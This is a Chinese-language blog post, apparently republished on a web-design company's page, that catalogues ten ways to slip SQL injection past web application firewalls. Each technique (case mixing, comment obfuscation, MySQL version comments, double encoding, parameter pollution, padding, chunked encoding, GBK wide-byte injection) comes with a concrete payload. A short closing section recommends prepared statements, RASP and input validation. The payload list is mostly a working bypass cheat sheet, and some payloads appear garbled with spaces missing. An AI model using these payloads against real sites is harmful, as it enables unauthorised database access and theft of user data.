东营市网站建设_网站建设公司_会员系统_seo优化
2025/12/26 3:49:36 网站建设 项目流程

🚨 前言:WAF 真的万能吗?

WAF 的核心逻辑是正则匹配 (Regex Matching)特征检测
只要你的攻击 Payload 长得不像攻击,或者利用了解析差异,就能骗过 WAF,直接捅进数据库的心脏。

攻防逻辑示意图 (Mermaid):

1. 标准 SQL 注入
AND 1=1

匹配规则: 拦截!

2. 变形 Payload
/*M!50000AND*/ 1=1

规则未匹配: 放行

返回敏感数据

攻击者

WAF 防火墙

数据库

❌ 403 Forbidden


🛠️ 第一阶:基础替换流

1. 大小写混合 (Case Variation)
  • 原理:早期的 WAF 规则写得很死,只拦截UNION SELECT
  • 绕过
UnIoNSeLeCt1,user(),vErSiOn()
2. 空白符替换 (Whitespace Manipulation)
  • 原理:WAF 通常拦截空格。
  • 绕过:利用数据库支持的其他空白字符。
  • MySQL%09(TAB),%0a(换行),%0b,%0c,%0d,+
  • Payload
SELECT/**/id/**/FROM/**/usersSELECT%0aid%0aFROM%0ausers
3. 内联注释混淆 (Inline Comments)
  • 原理:利用/* ... */将关键词打断,骗过正则,但在数据库中依然有效。
  • 绕过
UN/**/ION SE/**/LECT password FR/**/OM users

⚔️ 第二阶:逻辑与编码流

4. MySQL 版本号特性 (Version Comments)
  • 原理:MySQL 特有的语法/*! ... */。如果里面的数字小于当前版本号,注释内容会被执行。
  • 绕过
/*!50000UNION*//*!50000SELECT*/1,2,3

解释:WAF 以为是注释直接放行,但 MySQL 5.0 以上会执行它。

5. 双重 URL 编码 (Double Encoding)
  • 原理:WAF 可能只解码一次,但 Web 服务器会解码两次。
  • 绕过
  • s->%73->%25%37%33
  • Payload
id=1%25%35%35%6eion%25%35%33elect1,2#
6. 等价函数/符号替换 (Equivalent Substitution)
  • 原理:WAF 拦截了hex()=,我们就换个写法。
  • 绕过
  • hex()->bin()/ascii()
  • sleep()->benchmark()
  • =->LIKE/RLIKE/REGEXP/<>
  • AND->&&
  • OR->||
  • Payload
id=1&&ascii(substr(user(),1,1))>0

🔥 第三阶:协议与底层流

7. HTTP 参数污染 (HPP - Parameter Pollution)
  • 原理:当 URL 传递两个同名参数?id=1&id=2时,WAF 可能只检測第一个,但后端数据库(如 ASP.NET/IIS)可能解析第二个,或者拼接两者。
  • 绕过
?id=1&id=UNION&id=SELECT&id=1,2,3
8. 缓冲区溢出/超大数据包 (Buffer Overflow)
  • 原理:为了性能,WAF 通常只检测请求的前 8KB 或 16KB。如果你塞入大量的垃圾数据,把攻击 Payload 放在最后,WAF 可能会直接放行。
  • 绕过
id=1/*A x 50000*/UNIONSELECT1,2,3
9. 分块传输编码 (Chunked Transfer Encoding)
  • 原理:在 HTTP 头中添加Transfer-Encoding: chunked,将 Payload 切碎发送。很多 WAF 无法还原分块数据。
  • 绕过
POST /login.php HTTP/1.1 Transfer-Encoding: chunked 4 unio 1 n 4 sele 2 ct ...
10. 宽字节注入 (Wide Byte Injection)
  • 原理:针对 GBK 编码的数据库。WAF 会转义单引号'变为\'(%5c%27)。
  • 绕过:我们在单引号前加一个%df
  • %df%5c在 GBK 中是一个汉字(運)。
  • 于是\'被吃掉了,单引号逃逸了出来。
  • Payload
id=1%df%27 UNION SELECT...

🛡️ 防御篇:如何彻底终结 SQL 注入?

看了上面 10 种绕过姿势,你还觉得你的 WAF 安全吗?
真正的防御不能只靠“堵”(WAF),必须靠“治”(代码)。

  1. 预编译 (Prepared Statements)
  • 这是银弹!无论参数怎么写,数据库都只把它当成纯文本,绝不执行。
  • Java:PreparedStatement
  • PHP:PDO
  1. RASP (运行时应用自我保护)
  • 比 WAF 更高级,直接挂钩在应用内部,检测到底层调用的 SQL 语句。
  1. 严格的输入验证
  • 如果你知道id只能是数字,就用Integer.parseInt()强转,别给黑客留机会。

博主留言:
安全攻防是一场永无止境的猫鼠游戏。
掌握攻击的艺术,是为了更好地构建防御的堡垒。
如果你的生产环境还在拼接 SQL 字符串,请立刻、马上重构代码!

(喜欢这类硬核安全知识?点赞、收藏,下期讲《XSS 跨站脚本攻击的 5 种隐蔽通道》!)

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询